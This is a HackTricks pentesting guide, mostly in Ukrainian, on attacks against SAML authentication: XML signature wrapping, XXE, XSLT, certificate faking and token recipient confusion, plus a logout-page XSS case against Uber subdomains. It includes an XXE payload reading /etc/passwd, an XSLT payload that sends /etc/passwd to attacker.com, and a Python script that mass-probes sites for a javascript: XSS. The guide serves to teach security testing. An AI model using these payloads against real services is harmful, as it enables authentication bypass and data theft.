hacktricks/pentesting-web/saml-attacks/README.md

SAML Attacks

SAML Attacks

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

{% endhint %}

Basic Information

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Tool

SAMLExtractor: Інструмент, який може взяти URL або список URL і вивести SAML consume URL.

XML round-trip

В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. В ідеалі це кодування/декодування не повинно змінювати дані, але на основі цього сценарію, дані, що перевіряються, і оригінальні дані можуть не бути однаковими.

Наприклад, перевірте наступний код:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Виконання програми проти REXML 3.2.4 або раніше призведе до наступного виходу замість цього:

First child in original doc: Y
First child after round-trip: Z

Це те, як REXML побачив оригінальний XML документ з програми вище:

А це те, як він побачив його після етапу парсингу та серіалізації:

Для отримання додаткової інформації про вразливість та способи її використання:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Атаки на обгортку XML-підпису

У атаках на обгортку XML-підпису (XSW) противники експлуатують вразливість, що виникає, коли XML документи обробляються через два різні етапи: перевірка підпису та виклик функції. Ці атаки передбачають зміну структури XML документа. Зокрема, зловмисник впроваджує підроблені елементи, які не порушують дійсність XML підпису. Ця маніпуляція має на меті створити розбіжність між елементами, які аналізуються логікою програми, та тими, що перевіряються модулем перевірки підпису. В результаті, хоча XML підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє фальшиві елементи. Таким чином, зловмисник ефективно обходить захист цілісності та автентифікацію походження XML підпису, що дозволяє впроваджувати довільний контент без виявлення.

Наступні атаки базуються на цьому блозі та цьому документі. Тож перевірте їх для отримання додаткових деталей.

XSW #1

• Стратегія: Додається новий кореневий елемент, що містить підпис.
• Наслідок: Валідатор може заплутатися між легітимним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.

XSW #2

• Відмінність від XSW #1: Використовує відокремлений підпис замість обгорткового підпису.
• Наслідок: "Зловмисна" структура, подібно до XSW #1, має на меті обманути бізнес-логіку після перевірки цілісності.

XSW #3

• Стратегія: Створюється зловмисна Assertion на тому ж ієрархічному рівні, що й оригінальна assertion.
• Наслідок: Має на меті заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.

XSW #4

• Відмінність від XSW #3: Оригінальна Assertion стає дочірнім елементом дублікату (зловмисної) Assertion.
• Наслідок: Подібно до XSW #3, але більш агресивно змінює структуру XML.

XSW #5

• Унікальний аспект: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
• Наслідок: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.

XSW #6

• Стратегія: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
• Наслідок: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.

XSW #7

• Стратегія: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
• Наслідок: Це експлуатує менш обмежувальну схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.

XSW #8

• Відмінність від XSW #7: Використовує інший менш обмежувальний XML елемент для варіанту атаки.
• Наслідок: Оригінальна Assertion стає дочірнім елементом менш обмежувального елемента, змінюючи структуру, використану в XSW #7.

Інструмент

Ви можете використовувати розширення Burp SAML Raider для парсингу запиту, застосування будь-якої атаки XSW, яку ви виберете, та її запуску.

XXE

Якщо ви не знаєте, які види атак є XXE, будь ласка, прочитайте наступну сторінку:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML відповіді є зменшеними та закодованими в base64 XML документами і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML SAML відповіді, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML запиту для тестування на можливі вразливості XXE та SAML вразливості.

Перегляньте також цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Для отримання додаткової інформації про XSLT перейдіть за посиланням:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Перетворення розширювальної таблиці стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що перетворення XSLT виконуються до перевірки цифрового підпису. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.

Тут ви можете знайти POC для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML запиту для тестування можливих вразливостей XSLT.

Перегляньте також цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, перевірка підпису може не відбутися, що робить його вразливим. Можливо протестувати це, змінивши вміст, який зазвичай перевіряється підписом.

Tool

Ви також можете використовувати розширення Burp SAML Raider. Перехопіть SAML Response і натисніть Remove Signatures. Таким чином всі елементи Signature будуть видалені.

З видаленими підписами, дозвольте запиту продовжити до цілі. Якщо підпис не потрібен сервісу

Certificate Faking

Certificate Faking

Certificate Faking - це техніка для тестування, чи правильно перевіряє постачальник послуг (SP), що SAML повідомлення підписане довіреним постачальником ідентифікації (IdP). Це передбачає використання *самопідписаного сертифіката для підписання SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.

How to Conduct Certificate Faking

Наступні кроки описують процес використання розширення Burp SAML Raider:

1. Перехопіть SAML Response.
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку Send Certificate to SAML Raider Certs.
3. У вкладці сертифікатів SAML Raider виберіть імпортований сертифікат і натисніть Save and Self-Sign, щоб створити самопідписаний клон оригінального сертифіката.
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
5. Видаліть будь-які існуючі підписи за допомогою кнопки Remove Signatures.
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку (Re-)Sign Message або (Re-)Sign Assertion, відповідно.
7. Перешліть підписане повідомлення. Успішна аутентифікація вказує на те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що виявляє потенційні вразливості в процесі перевірки SAML повідомлень.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion та Service Provider Target Confusion включають перевірку, чи правильно перевіряє постачальник послуг призначеного отримувача відповіді. По суті, постачальник послуг повинен відхиляти відповідь на аутентифікацію, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле Recipient, яке знаходиться в елементі SubjectConfirmationData SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає призначеному постачальнику послуг, підтвердження слід вважати недійсним.

How It Works

Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис на постачальнику послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.

Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS в функції виходу

Оригінальне дослідження можна знайти за цим посиланням.

Під час процесу брутфорсингу директорій була виявлена сторінка виходу за адресою:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

При доступі до цього посилання відбулася переадресація на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Це виявило, що параметр base приймає URL. Враховуючи це, виникла ідея замінити URL на javascript:alert(123); в спробі ініціювати атаку XSS (Cross-Site Scripting).

Масове використання

З цього дослідження:

Інструмент SAMLExtractor був використаний для аналізу піддоменів uberinternal.com для доменів, які використовують ту ж бібліотеку. Після цього був розроблений скрипт для націлювання на сторінку oidauth/prompt. Цей скрипт тестує на наявність XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони в виході. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Посилання

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

{% endhint %}